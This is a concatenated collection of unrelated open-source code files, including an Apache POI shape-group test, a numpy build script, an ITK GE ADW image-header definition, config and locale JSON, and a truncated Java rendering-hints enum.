World-3"); textbox3.setString(rt3); } } } } } @Test void testAddShapesToGroup() throws IOException { try (HSSFWorkbook wb1 = new HSSFWorkbook()) { // create a sheet with a text box HSSFSheet sheet = wb1.createSheet(); HSSFPatriarch patriarch = sheet.createDrawingPatriarch(); HSSFShapeGroup group = patriarch.createGroup(new HSSFClientAnchor()); int index = wb1.addPicture(new byte[]{1, 2, 3}, HSSFWorkbook.PICTURE_TYPE_JPEG); group.createPicture(new HSSFChildAnchor(), index); HSSFPolygon polygon = group.createPolygon(new HSSFChildAnchor()); polygon.setPoints(new int[]{1, 100, 1}, new int[]{1, 50, 100}); group.createTextbox(new HSSFChildAnchor()); group.createShape(new HSSFChildAnchor()); try (HSSFWorkbook wb2 = HSSFTestDataSamples.writeOutAndReadBack(wb1)) { sheet = wb2.getSheetAt(0); patriarch = sheet.getDrawingPatriarch(); assertEquals(1, patriarch.getChildren().size()); assertTrue(patriarch.getChildren().get(0) instanceof HSSFShapeGroup); group = (HSSFShapeGroup) patriarch.getChildren().get(0); assertEquals(4, group.getChildren().size()); assertTrue(group.getChildren().get(0) instanceof HSSFPicture); assertTrue(group.getChildren().get(1) instanceof HSSFPolygon); assertTrue(group.getChildren().get(2) instanceof HSSFTextbox); assertTrue(group.getChildren().get(3) instanceof HSSFSimpleShape); HSSFShapeGroup group2 = patriarch.createGroup(new HSSFClientAnchor()); index = wb2.addPicture(new byte[]{2, 2, 2}, HSSFWorkbook.PICTURE_TYPE_JPEG); group2.createPicture(new HSSFChildAnchor(), index); polygon = group2.createPolygon(new HSSFChildAnchor()); polygon.setPoints(new int[]{1, 100, 1}, new int[]{1, 50, 100}); group2.createTextbox(new HSSFChildAnchor()); group2.createShape(new HSSFChildAnchor()); group2.createShape(new HSSFChildAnchor()); try (HSSFWorkbook wb3 = HSSFTestDataSamples.writeOutAndReadBack(wb2)) { sheet = wb3.getSheetAt(0); patriarch = sheet.getDrawingPatriarch(); assertEquals(2, patriarch.getChildren().size()); group = (HSSFShapeGroup) patriarch.getChildren().get(1); assertEquals(5, group.getChildren().size()); assertTrue(group.getChildren().get(0) instanceof HSSFPicture); assertTrue(group.getChildren().get(1) instanceof HSSFPolygon); assertTrue(group.getChildren().get(2) instanceof HSSFTextbox); assertTrue(group.getChildren().get(3) instanceof HSSFSimpleShape); assertTrue(group.getChildren().get(4) instanceof HSSFSimpleShape); group.getShapeId(); } } } } @Test void testSpgrRecord() throws IOException { try (HSSFWorkbook wb = new HSSFWorkbook()) { // create a sheet with a text box HSSFSheet sheet = wb.createSheet(); HSSFPatriarch patriarch = sheet.createDrawingPatriarch(); HSSFShapeGroup group = patriarch.createGroup(new HSSFClientAnchor()); assertSame(((EscherContainerRecord) group.getEscherContainer().getChild(0)).getChildById(EscherSpgrRecord.RECORD_ID), getSpgrRecord(group)); } } private static EscherSpgrRecord getSpgrRecord(HSSFShapeGroup group) { return POITestCase.getFieldValue(HSSFShapeGroup.class, group, EscherSpgrRecord.class, "_spgrRecord"); } @Test void testClearShapes() throws IOException { try (HSSFWorkbook wb1 = new HSSFWorkbook()) { HSSFSheet sheet = wb1.createSheet(); HSSFPatriarch patriarch = sheet.createDrawingPatriarch(); HSSFShapeGroup group = patriarch.createGroup(new HSSFClientAnchor()); group.createShape(new HSSFChildAnchor()); group.createShape(new HSSFChildAnchor()); EscherAggregate agg = HSSFTestHelper.getEscherAggregate(patriarch); assertEquals(5, agg.getShapeToObjMapping().size()); assertEquals(0, agg.getTailRecords().size()); assertEquals(2, group.getChildren().size()); group.clear(); assertEquals(1, agg.getShapeToObjMapping().size()); assertEquals(0, agg.getTailRecords().size()); assertEquals(0, group.getChildren().size()); try (HSSFWorkbook wb2 = HSSFTestDataSamples.writeOutAndReadBack(wb1)) { sheet = wb2.getSheetAt(0); patriarch = sheet.getDrawingPatriarch(); group = (HSSFShapeGroup) patriarch.getChildren().get(0); assertEquals(1, agg.getShapeToObjMapping().size()); assertEquals(0, agg.getTailRecords().size()); assertEquals(0, group.getChildren().size()); } } } }
6,064
9,095
from os.path import join def configuration(parent_package='', top_path=None): from numpy.distutils.misc_util import Configuration config = Configuration('_levy_stable', parent_package, top_path) config.add_library( '_levyst', sources=[join('c_src', 'levyst.c')], headers=[join('c_src', 'levyst.h')] ) config.add_extension( 'levyst', libraries=['_levyst'], sources=['levyst.c'] ) return config if __name__ == '__main__': from numpy.distutils.core import setup setup(**configuration(top_path='').todict())
253
432
/* * Copyright (C) 2020 Dremio * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.projectnessie.versioned.persist.adapter; import com.google.protobuf.ByteString; import org.immutables.value.Value; /** * Used when dealing with global states in operations for Nessie-GC, like enumerating all globally * managed contents. Composite of contents-id, contents-type and contents. */ @Value.Immutable public interface ContentsIdAndBytes { ContentsId getContentsId(); byte getType(); ByteString getValue(); static ContentsIdAndBytes of(ContentsId contentsId, byte type, ByteString value) { return ImmutableContentsIdAndBytes.builder() .contentsId(contentsId) .type(type) .value(value) .build(); } default ContentsIdWithType asIdWithType() { return ContentsIdWithType.of(getContentsId(), getType()); } }
403
965
<gh_stars>100-1000 CArray<CPoint, CPoint> myArray; // Add elements to the array. for (int i = 0; i < 10; i++) { myArray.Add(CPoint(i, 2 * i)); } myArray.RemoveAt(5); #ifdef _DEBUG afxDump.SetDepth(1); afxDump << "myArray: " << &myArray << "\n"; #endif
115
764
<filename>erc20/0x714599f7604144a3fE1737c440a70fc0fD6503ea.json {"symbol": "RAKUC","address": "0x714599f7604144a3fE1737c440a70fc0fD6503ea","overview":{"en": ""},"email": "","website": "https://www.rakucoin.com","state": "NORMAL","links": {"blog": "","twitter": "https://twitter.com/rakucoin","telegram": "","github": ""}}
134
391
package com.sparrowwallet.sparrow.event; public class RequestConnectEvent { //Empty event class used to request programmatic connection to the server }
42
945
/*========================================================================= * * Copyright NumFOCUS * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *=========================================================================*/ /** * \file itkGEAdwImageIO.h * Much of the code for this file reader/writer was taken from * the University of Iowa Imaging Group library with the * permission of the authors, <NAME>, <NAME>, * <NAME>, <NAME>, <NAME>, and others. * The specification for this file format is taken from the * web site http://analyzedirect.com/support/10.0Documents/Analyze_Resource_01.pdf * \author <NAME> * The University of Iowa 2003 * \brief This file was written as a modification to the itkMetaImageIO * as a new method for reading in files from the GE4 scanner. */ #ifndef itkGEAdwImageIO_h #define itkGEAdwImageIO_h #include "ITKIOGEExport.h" #include "itkIPLCommonImageIO.h" namespace itk { /** *\class GEAdwImageIO * * \author <NAME> * \brief Class that defines how to read GEAdw file format. * * \ingroup IOFilters * \ingroup ITKIOGE */ class ITKIOGE_EXPORT GEAdwImageIO : public IPLCommonImageIO { public: ITK_DISALLOW_COPY_AND_MOVE(GEAdwImageIO); /** Standard class type aliases. */ using Self = GEAdwImageIO; using Superclass = IPLCommonImageIO; using Pointer = SmartPointer<Self>; /** Method for creation through the object factory. */ itkNewMacro(Self); /** Run-time type information (and related methods). */ itkTypeMacro(GEAdwImageIO, Superclass); /*-------- This part of the interfaces deals with reading data. ----- */ /** Determine if the file can be read with this ImageIO implementation. * \author <NAME> * \param FileNameToRead The name of the file to test for reading. * \post Sets classes ImageIOBase::m_FileName variable to be FileNameToWrite * \return Returns true if this ImageIO can read the file specified. */ bool CanReadFile(const char * FileNameToRead) override; /* * Set the spacing and dimension information for the set filename. */ // Implemented in superclass // virtual void ReadImageInformation(); /* * Get the type of the pixel. */ // Implemented in superclass // virtual const std::type_info& GetPixelType() const; /* * Reads the data from disk into the memory buffer provided. */ // Implemented in superclass // virtual void Read(void* buffer); /* * Compute the size (in bytes) of the components of a pixel. For * example, and RGB pixel of unsigned char would have a * component size of 1 byte. */ // Implemented in superclass // virtual unsigned int GetComponentSize() const; /*-------- This part of the interfaces deals with writing data. ----- */ /* * Determine if the file can be written with this ImageIO implementation. * \param FileNameToWrite The name of the file to test for writing. * \author <NAME> * \post Sets classes ImageIOBase::m_FileName variable to be FileNameToWrite * \return Returns true if this ImageIO can write the file specified. */ // Implemented in superclass // virtual bool CanWriteFile(const char * FileNameToWrite); /* * Set the spacing and dimension information for the set filename. */ // Implemented in superclass // virtual void WriteImageInformation(); /* * Writes the data to disk from the memory buffer provided. Make sure * that the IORegions has been set properly. */ // Implemented in superclass // virtual void Write(const void* buffer); protected: GEAdwImageIO(); ~GEAdwImageIO() override; // Implemented in superclass // void PrintSelf(std::ostream& os, Indent indent) const; GEImageHeader * ReadHeader(const char * FileNameToRead) override; private: enum GE_ADW_DEFINES { GE_ADW_SU_ID = 0, /**< Site id - String */ GE_ADW_SU_ID_LEN = 4, GE_ADW_SU_PRODID = 7, /**< Product ID - String */ GE_ADW_SU_PRODID_LEN = 13, GE_ADW_EX_SUID = 116, /**< Exam study ID - String */ GE_ADW_EX_SUID_LEN = 4, GE_ADW_EX_NO = 124, /**< Exam Number - Unsigned short Int */ GE_ADW_EX_NO_LEN = 2, GE_ADW_EX_HOSPNAME = 126, /**< Hospital Name - String */ GE_ADW_EX_HOSPNAME_LEN = 33, GE_ADW_EX_MAGSTRENGTH = 200, /**< Magnet Strength - Integer */ GE_ADW_EX_MAGSTRENGTH_LEN = 4, GE_ADW_EX_PATID = 204, /**< Patient ID - String */ GE_ADW_EX_PATID_LEN = 13, GE_ADW_EX_PATNAME = 217, /**< Patient Name - String */ GE_ADW_EX_PATNAME_LEN = 25, GE_ADW_EX_PATAGE = 242, /**< Patient Age - Short Int */ GE_ADW_EX_PATAGE_LEN = 2, GE_ADW_EX_PATIAN = 244, /**< Patient Age Notation - SHort Int */ GE_ADW_EX_PATIAN_LEN = 2, GE_ADW_EX_PATSEX = 246, /**< Patient Sex - Short Integer */ GE_ADW_EX_PATSEX_LEN = 2, GE_ADW_EX_PATWEIGHT = 248, /**< Patient Weight - Integer */ GE_ADW_EX_PATWEIGHT_LEN = 4, GE_ADW_EX_HIST = 254, /**< Patient History - String */ GE_ADW_EX_HIST_LEN = 61, GE_ADW_EX_DATETIME = 328, /**< Exam date/time stamp - Integer */ GE_ADW_EX_DATETIME_LEN = 4, GE_ADW_EX_REFPHY = 332, /**< Referring Physician - String */ GE_ADW_EX_REFPHY_LEN = 33, GE_ADW_EX_DIAGRAD = 365, /**< Diagnostician/Radiologist - String */ GE_ADW_EX_DIAGRAD_LEN = 33, GE_ADW_EX_OP = 398, /**< Operator - String */ GE_ADW_EX_OP_LEN = 4, GE_ADW_EX_DESC = 402, /**< Exam Description - String */ GE_ADW_EX_DESC_LEN = 23, GE_ADW_EX_TYP = 425, /**< Exam Type - String */ GE_ADW_EX_TYP_LEN = 3, GE_ADW_EX_FORMAT = 428, /**< Exam Format - Short Integer */ GE_ADW_EX_FORMAT_LEN = 2, GE_ADW_EX_SYSID = 444, /**< Creator Suite and Host - String */ GE_ADW_EX_SYSID_LEN = 9, /** * Series Header Variables */ GE_ADW_SE_SUID = 1156, /**< Suite Id for Series - String */ GE_ADW_SE_SUID_LEN = 4, GE_ADW_SE_UNIQ = 1160, /**< The Make-Unique Flag - Short Integer */ GE_ADW_SE_UNIQ_LEN = 2, GE_ADW_SE_EXNO = 1164, /**< Exam Number - Unsigned Short Integer */ GE_ADW_SE_EXNO_LEN = 2, GE_ADW_SE_NO = 1166, /**< Series Number - Short Integer */ GE_ADW_SE_NO_LEN = 2, GE_ADW_SE_DATETIME = 1168, /**< Date/Time stamp - Integer */ GE_ADW_SE_DATETIME_LEN = 4, GE_ADW_SE_DESC = 1176, /**< Series description - String */ GE_ADW_SE_DESC_LEN = 30, GE_ADW_SE_TYP = 1224, /**< Series Type - Short Integer */ GE_ADW_SE_TYP_LEN = 2, GE_ADW_SE_PLANE = 1228, /**< Most Like Plane - Short Integer */ GE_ADW_SE_PLANE_LEN = 2, GE_ADW_SE_POSITION = 1232, /**< Patient Position - Integer */ GE_ADW_SE_POSITION_LEN = 4, GE_ADW_SE_ENTRY = 1236, /**< Patient Entry - Integer */ GE_ADW_SE_ENTRY_LEN = 4, GE_ADW_SE_ANREF = 1240, /**< Anatomical reference - String */ GE_ADW_SE_ANREF_LEN = 3, GE_ADW_SE_CONTRAST = 1274, /**< Non-zero if contrast - Short Int */ GE_ADW_SE_CONTRAST_LEN = 2, GE_ADW_SE_START_RAS = 1276, /**< RAS letter for first scan location - STring */ GE_ADW_SE_START_RAS_LEN = 1, GE_ADW_SE_START_LOC = 1280, /**< Start location position - Float */ GE_ADW_SE_START_LOC_LEN = 4, GE_ADW_SE_END_RAS = 1284, /**< RAS letter for last scan location - String */ GE_ADW_SE_END_RAS_LEN = 1, GE_ADW_SE_END_LOC = 1288, /**< End location position - Float */ GE_ADW_SE_END_LOC_LEN = 4, GE_ADW_SE_NUMIMAGES = 1368, /**< Number of Images Existing - Integer */ GE_ADW_SE_NUMIMAGES_LEN = 4, /** * Image Header Variables */ GE_ADW_IM_SUID = 2184, /**< Suite ID for this image - String */ GE_ADW_IM_SUID_LEN = 4, GE_ADW_IM_UNIQ = 2188, /**< The make unique flag - Short Integer */ GE_ADW_IM_UNIQ_LEN = 2, GE_ADW_IM_EXNO = 2192, /**< Exam number for this image - Unsigned short */ GE_ADW_IM_EXNO_LEN = 2, GE_ADW_IM_SENO = 2194, /**< Series number for image - short integer */ GE_ADW_IM_SENO_LEN = 2, GE_ADW_IM_NO = 2196, /**< Image number - short integer */ GE_ADW_IM_NO_LEN = 2, GE_ADW_IM_DATETIME = 2200, /**< Image allocation date/time stamp - integer */ GE_ADW_IM_DATETIME_LEN = 4, GE_ADW_IM_ACTUAL_DT = 2204, /**< Actual image date/time stamp - Date */ GE_ADW_IM_ACTUAL_DT_LEN = 4, GE_ADW_IM_SCTIME = 2208, /**< Duration of scan (secs) - float */ GE_ADW_IM_SCTIME_LEN = 4, GE_ADW_IM_SLTHICK = 2212, /**< Slice thickness (mm) - float */ GE_ADW_IM_SLTHICK_LEN = 4, GE_ADW_IM_IMATRIX_X = 2216, /**< Image matrix size X - short integer */ GE_ADW_IM_IMATRIX_X_LEN = 2, GE_ADW_IM_IMATRIX_Y = 2218, /**< Image matrix size Y - short integer */ GE_ADW_IM_IMATRIX_Y_LEN = 2, GE_ADW_IM_DFOV = 2220, /**< Display field of view X (mm) - float */ GE_ADW_IM_DFOV_LEN = 4, GE_ADW_IM_DFOV_RECT = 2224, /**< Display field of view Y (mm) if different - float */ GE_ADW_IM_DFOV_RECT_LEN = 4, GE_ADW_IM_DIM_X = 2228, /**< Image dimension X - float */ GE_ADW_IM_DIM_X_LEN = 4, GE_ADW_IM_DIM_Y = 2232, /**< Image dimension Y - float */ GE_ADW_IM_DIM_Y_LEN = 4, GE_ADW_IM_PIXSIZE_X = 2236, /**< Image pixel size X - float */ GE_ADW_IM_PIXSIZE_X_LEN = 4, GE_ADW_IM_PIXSIZE_Y = 2240, /**< Image pixel size Y - float */ GE_ADW_IM_PIXSIZE_Y_LEN = 4, GE_ADW_IM_CONTMODE = 2292, /**< Image contrast mode - short integer */ GE_ADW_IM_CONTMODE_LEN = 2, GE_ADW_IM_PLANE = 2300, /**< Plane type - short integer */ GE_ADW_IM_PLANE_LEN = 2, GE_ADW_IM_SCANSPACING = 2304, /**< Spacing between scans (mm) - float */ GE_ADW_IM_SCANSPACING_LEN = 4, GE_ADW_IM_LOC_RAS = 2312, /**< RAS letter of image location - string */ GE_ADW_IM_LOC_RAS_LEN = 1, GE_ADW_IM_LOC = 2316, /**< Image location - float */ GE_ADW_IM_LOC_LEN = 4, GE_ADW_IM_ULHC_R = 2344, /**< R coordinate of upper left corner - float */ GE_ADW_IM_ULHC_R_LEN = 4, GE_ADW_IM_ULHC_A = 2348, /**< A coordinate of upper left corner - float */ GE_ADW_IM_ULHC_A_LEN = 4, GE_ADW_IM_ULHC_S = 2352, /**< S coordinate of upper left corner - float */ GE_ADW_IM_ULHC_S_LEN = 4, GE_ADW_IM_URHC_R = 2356, /**< R coordinate of upper right corner - float */ GE_ADW_IM_URHC_R_LEN = 4, GE_ADW_IM_URHC_A = 2360, /**< A coordinate of upper right corner - float */ GE_ADW_IM_URHC_A_LEN = 4, GE_ADW_IM_URHC_S = 2364, /**< S coordinate of upper right corner - float */ GE_ADW_IM_URHC_S_LEN = 4, GE_ADW_IM_BRHC_R = 2368, /**< R coordinate of bottom right corner - float */ GE_ADW_IM_BRHC_R_LEN = 4, GE_ADW_IM_BRHC_A = 2372, /**< A coordinate of bottom right corner - float */ GE_ADW_IM_BRHC_A_LEN = 4, GE_ADW_IM_BRHC_S = 2376, /**< S coordinate of bottom right corner - float */ GE_ADW_IM_BRHC_S_LEN = 4, GE_ADW_IM_TR = 2384, /**< Pulse repetition time (usec) - integer */ GE_ADW_IM_TR_LEN = 4, GE_ADW_IM_TI = 2388, /**< Pulse inversion time (usec) - integer */ GE_ADW_IM_TI_LEN = 4, GE_ADW_IM_TE = 2392, /**< Pulse echo time (usec) - integer */ GE_ADW_IM_TE_LEN = 4, GE_ADW_IM_NUMECHO = 2400, /**< Number of echoes - short integer */ GE_ADW_IM_NUMECHO_LEN = 2, GE_ADW_IM_ECHONUM = 2402, /**< Echo number - short integer */ GE_ADW_IM_ECHONUM_LEN = 2, GE_ADW_IM_NEX = 2408, /**< Number of averages - float */ GE_ADW_IM_NEX_LEN = 4, GE_ADW_IM_CONTIG = 2412, /**< Continuos slices flag - short integer */ GE_ADW_IM_CONTIG_LEN = 2, GE_ADW_IM_HRTRATE = 2414, /**< Cardiac Heart rate (bpm) - short integer */ GE_ADW_IM_HRTRATE_LEN = 2, GE_ADW_IM_TDEL = 2416, /**< Delay after trigger (usec) - integer */ GE_ADW_IM_TDEL_LEN = 4, GE_ADW_IM_XMTGAIN = 2438, /**< Actual transmit gain (.1 dB) - short integer */ GE_ADW_IM_XMTGAIN_LEN = 2, GE_ADW_IM_MR_FLIP = 2444, /**< Flip angle for GRASS scans (dgr) - short integer */ GE_ADW_IM_MR_FLIP_LEN = 2, GE_ADW_IM_CPHASE = 2452, /**< Total cardiac phases prescribed - short integer */ GE_ADW_IM_CPHASE_LEN = 2, GE_ADW_IM_SWAPPF = 2454, /**< Swap phase/frequency - short integer */ GE_ADW_IM_SWAPPF_LEN = 2, GE_ADW_IM_OBPLANE = 2464, /**< Oblique plane - integer */ GE_ADW_IM_OBPLANE_LEN = 4, GE_ADW_IM_XMTFREQ = 2472, /**< Transmit frequency - integer */ GE_ADW_IM_XMTFREQ_LEN = 4, GE_ADW_IM_PRESCAN_R1 = 2482, /**< Prescan R1 value - short integer */ GE_ADW_IM_PRESCAN_R1_LEN = 2, GE_ADW_IM_PRESCAN_R2 = 2484, /**< Prescan R2 value - short integer */ GE_ADW_IM_PRESCAN_R2_LEN = 2, GE_ADW_IM_IMODE = 2494, /**< Imaging mode - short integer */ GE_ADW_IM_IMODE_LEN = 2, GE_ADW_IM_IOPT = 2496, /**< Imaging options - integer */ GE_ADW_IM_IOPT_LEN = 4, GE_ADW_IM_PSEQ = 2500, /**< Imaging pulse sequence - short integer */ GE_ADW_IM_PSEQ_LEN = 2, GE_ADW_IM_PSDNAME = 2504, /**< Pulse sequence name - string */ GE_ADW_IM_PSDNAME_LEN = 33, GE_ADW_IM_CTYP = 2558, /**< Coil type - short integer */ GE_ADW_IM_CTYP_LEN = 2, GE_ADW_IM_CNAME = 2560, /**< Coil name - string */ GE_ADW_IM_CNAME_LEN = 17, GE_ADW_IM_SUPP_TECH = 2592, /**< SAT type FAT/WATER/NONE - short integer */ GE_ADW_IM_SUPP_TECH_LEN = 2, GE_ADW_IM_VBW = 2596, /**< Variable bandwidth (Hz) - float */ GE_ADW_IM_VBW_LEN = 4, GE_ADW_IM_SLQUANT = 2600, /**< Number of slices in scan group - short integer */ GE_ADW_IM_SLQUANT_LEN = 2, GE_ADW_IM_USER0 = 2608, /**< User variable 0 - float */ GE_ADW_IM_USER0_LEN = 4, GE_ADW_IM_USER1 = 2612, /**< User variable 1 - float */ GE_ADW_IM_USER1_LEN = 4, GE_ADW_IM_USER2 = 2616, /**< User variable 2 - float */ GE_ADW_IM_USER2_LEN = 4, GE_ADW_IM_USER3 = 2620, /**< User variable 3 - float */ GE_ADW_IM_USER3_LEN = 4, GE_ADW_IM_USER4 = 2624, /**< User variable 4 - float */ GE_ADW_IM_USER4_LEN = 4, GE_ADW_IM_USER5 = 2628, /**< User variable 5 - float */ GE_ADW_IM_USER5_LEN = 4, GE_ADW_IM_USER6 = 2632, /**< User variable 6 - float */ GE_ADW_IM_USER6_LEN = 4, GE_ADW_IM_USER7 = 2636, /**< User variable 7 - float */ GE_ADW_IM_USER7_LEN = 4, GE_ADW_IM_USER8 = 2640, /**< User variable 8 - float */ GE_ADW_IM_USER8_LEN = 4, GE_ADW_IM_USER9 = 2644, /**< User variable 9 - float */ GE_ADW_IM_USER9_LEN = 4, GE_ADW_IM_USER10 = 2648, /**< User variable 10 - float */ GE_ADW_IM_USER10_LEN = 4, GE_ADW_IM_USER11 = 2652, /**< User variable 11 - float */ GE_ADW_IM_USER11_LEN = 4, GE_ADW_IM_USER12 = 2656, /**< User variable 12 - float */ GE_ADW_IM_USER12_LEN = 4, GE_ADW_IM_USER13 = 2660, /**< User variable 13 - float */ GE_ADW_IM_USER13_LEN = 4, GE_ADW_IM_USER14 = 2664, /**< User variable 14 - float */ GE_ADW_IM_USER14_LEN = 4, GE_ADW_IM_USER15 = 2668, /**< User variable 15 - float */ GE_ADW_IM_USER15_LEN = 4, GE_ADW_IM_USER16 = 2672, /**< User variable 16 - float */ GE_ADW_IM_USER16_LEN = 4, GE_ADW_IM_USER17 = 2676, /**< User variable 17 - float */ GE_ADW_IM_USER17_LEN = 4, GE_ADW_IM_USER18 = 2680, /**< User variable 18 - float */ GE_ADW_IM_USER18_LEN = 4, GE_ADW_IM_USER19 = 2684, /**< User variable 19 - float */ GE_ADW_IM_USER19_LEN = 4, GE_ADW_IM_USER20 = 2688, /**< User variable 20 - float */ GE_ADW_IM_USER20_LEN = 4, GE_ADW_IM_USER21 = 2692, /**< User variable 21 - float */ GE_ADW_IM_USER21_LEN = 4, GE_ADW_IM_USER22 = 2696, /**< User variable 22 - float */ GE_ADW_IM_USER22_LEN = 4, GE_ADW_IM_USER23 = 2700, /**< User variable 23 - float */ GE_ADW_IM_USER23_LEN = 4, GE_ADW_IM_USER24 = 2704, /**< User variable 24 - float */ GE_ADW_IM_USER24_LEN = 4, GE_ADW_IM_SATBITS = 2756, /**< Bitmap of sat selections - short integer */ GE_ADW_IM_SATBITS_LEN = 2, GE_ADW_IM_SCIC = 2758, /**< Surface coil intensity correction flag - short integer */ GE_ADW_IM_SCIC_LEN = 2, GE_ADW_IM_FLAX = 2778, /**< Phase contrast flow analysis - short integer */ GE_ADW_IM_FLAX_LEN = 2, GE_ADW_IM_VENC = 2780, /**< Phase contrast flow encoding - short integer */ GE_ADW_IM_VENC_LEN = 2, GE_ADW_IM_THK_DISCLMR = 2782, /**< Slice thickness - short integer */ GE_ADW_IM_THK_DISCLMR_LEN = 2, GE_ADW_IM_VAS_COLLAPSE = 2790, /**< Collapse image - short integer */ GE_ADW_IM_VAS_COLLAPSE_LEN = 2, GE_ADW_IM_X_AXIS_ROT = 2816, /**< X-axis rotation - float */ GE_ADW_IM_X_AXIS_ROT_LEN = 4, GE_ADW_IM_Y_AXIS_ROT = 2820, /**< Y-axis rotation - float */ GE_ADW_IM_Y_AXIS_ROT_LEN = 4, GE_ADW_IM_Z_AXIS_ROT = 2824, /**< Z-axis rotation - float */ GE_ADW_IM_Z_AXIS_ROT_LEN = 4, GE_ADW_IM_ECHO_TRN = 2844, /**< Length of echo train - short integer */ GE_ADW_IM_ECHO_TRN_LEN = 2, GE_ADW_IM_FRAC_ECHO = 2846, /**< Fractional echo - short integer */ GE_ADW_IM_FRAC_ECHO_LEN = 2, GE_ADW_IM_PREP_PULSE = 2848, /**< Prep pulses - short integer */ GE_ADW_IM_PREP_PULSE_LEN = 2, GE_ADW_IM_CPHASENUM = 2850, /**< Cardiac phase number - short integer */ GE_ADW_IM_CPHASENUM_LEN = 2, GE_ADW_IM_VAR_ECHO = 2852, /**< Variable echo - short integer */ GE_ADW_IM_VAR_ECHO_LEN = 2, GE_ADW_IM_FREQ_DIR = 2948, /**< Frequency direction - short integer */ GE_ADW_IM_FREQ_DIR_LEN = 2, GE_ADW_IM_VMODE = 2950, /**< Vascular mode - short integer */ GE_ADW_IM_VMODE_LEN = 2, GE_ADW_FIXED_HDR_LENGTH = 3228, /**< Total Length of the Fixed header */ GE_ADW_VARIABLE_HDR_LENGTH_LEN = 4, GE_ADW_VARIABLE_HDR_LENGTH = 3232 /**< Size of variable header - integer */ }; }; } // end namespace itk #endif // itkGEAdwImageIO_h
8,786
5,169
<gh_stars>1000+ { "name": "JKPopupView", "version": "0.0.6", "summary": "弹出自定义视图", "description": "弹出自定义视图。", "homepage": "https://github.com/JokerKin/JKPopupView", "license": "MIT", "authors": { "joker": "https://github.com/JokerKin" }, "platforms": { "ios": "8.0" }, "public_header_files": "JKPopupView/**/**/**/*.h", "source": { "git": "https://github.com/JokerKin/JKPopupView.git", "tag": "0.0.6" }, "source_files": [ "JKPopupView", "JKPopupView/JKPopupView/JKPopupView/JKPopupView/*.{h,m}" ] }
292
568
<filename>seat-monitor/meeting-room-device/src/main/java/com/novoda/seatmonitor/CloudDataTimer.java package com.novoda.seatmonitor; import android.os.CountDownTimer; import com.novoda.loadgauge.CloudLoadGauges; import java.util.concurrent.TimeUnit; class CloudDataTimer extends CountDownTimer { private final String office; private final String location; private final CloudIotCoreCommunicator communicator; private final RestartTimer restartTimer; private final CloudLoadGauges loadGauges; CloudDataTimer(String office, String location, CloudIotCoreCommunicator communicator, CloudLoadGauges loadGauges, RestartTimer restartTimer) { super(TimeUnit.DAYS.toMillis(1), TimeUnit.SECONDS.toMillis(5)); this.office = office; this.location = location; this.communicator = communicator; this.restartTimer = restartTimer; this.loadGauges = loadGauges; } @Override public void onTick(long l) { String msg = "{" + "\"office\" : \"" + office + "\", " + "\"location\" : \"" + location + "\", " + "\"dataLoadGauges\" : " + loadGauges.asJsonArray() + "" + "}"; communicator.publishMessage(msg); } @Override public void onFinish() { restartTimer.onFinished(); } interface RestartTimer { void onFinished(); } }
544
772
{ "continue": "Vazhdo ", "areYouSure": "Je i sigurtë?", "cancel": "Anulo", "yes": "Po", "no": "Jo", "run": "Ekzekuto", "finish": "Përfundo" }
78
1,781
package chapter1.section1; import edu.princeton.cs.algs4.StdOut; /** * Created by <NAME> */ public class Exercise9 { public static void main(String[] args) { StdOut.println(intToBinary(32)); StdOut.println("Expected: 100000"); } private static String intToBinary(int n) { String result = ""; while (n > 0) { result = n % 2 + result; n /= 2; } return result; } }
176
356
<reponame>majk1/netbeans-mmd-plugin<filename>mind-map/mind-map-swing-panel/src/main/java/com/igormaznitsa/mindmap/swing/panel/utils/RenderQuality.java /* * Copyright 2018 <NAME>. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.igormaznitsa.mindmap.swing.panel.utils; import java.awt.Graphics2D; import java.awt.RenderingHints; import java.util.HashMap; import java.util.Map; import javax.annotation.Nonnull; public enum RenderQuality { DEFAULT, SPEED, QUALITY; private static final Map<RenderingHints.Key, Object> RENDERING_HINTS_DEFAULT = new HashMap<>(); private static final Map<RenderingHints.Key, Object> RENDERING_HINTS_SPEED = new HashMap<>(); private static final Map<RenderingHints.Key, Object> RENDERING_HINTS_QUALTY = new HashMap<>(); static { RENDERING_HINTS_QUALTY.put(RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_QUALITY); RENDERING_HINTS_QUALTY.put(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON); RENDERING_HINTS_QUALTY.put(RenderingHints.KEY_TEXT_ANTIALIASING, RenderingHints.VALUE_TEXT_ANTIALIAS_ON); RENDERING_HINTS_QUALTY.put(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BICUBIC); RENDERING_HINTS_QUALTY.put(RenderingHints.KEY_ALPHA_INTERPOLATION, RenderingHints.VALUE_ALPHA_INTERPOLATION_QUALITY); RENDERING_HINTS_QUALTY.put(RenderingHints.KEY_COLOR_RENDERING, RenderingHints.VALUE_COLOR_RENDER_QUALITY); RENDERING_HINTS_DEFAULT.put(RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_DEFAULT); RENDERING_HINTS_DEFAULT.put(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_DEFAULT); RENDERING_HINTS_DEFAULT.put(RenderingHints.KEY_TEXT_ANTIALIASING, RenderingHints.VALUE_TEXT_ANTIALIAS_DEFAULT); RENDERING_HINTS_DEFAULT.put(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BILINEAR); 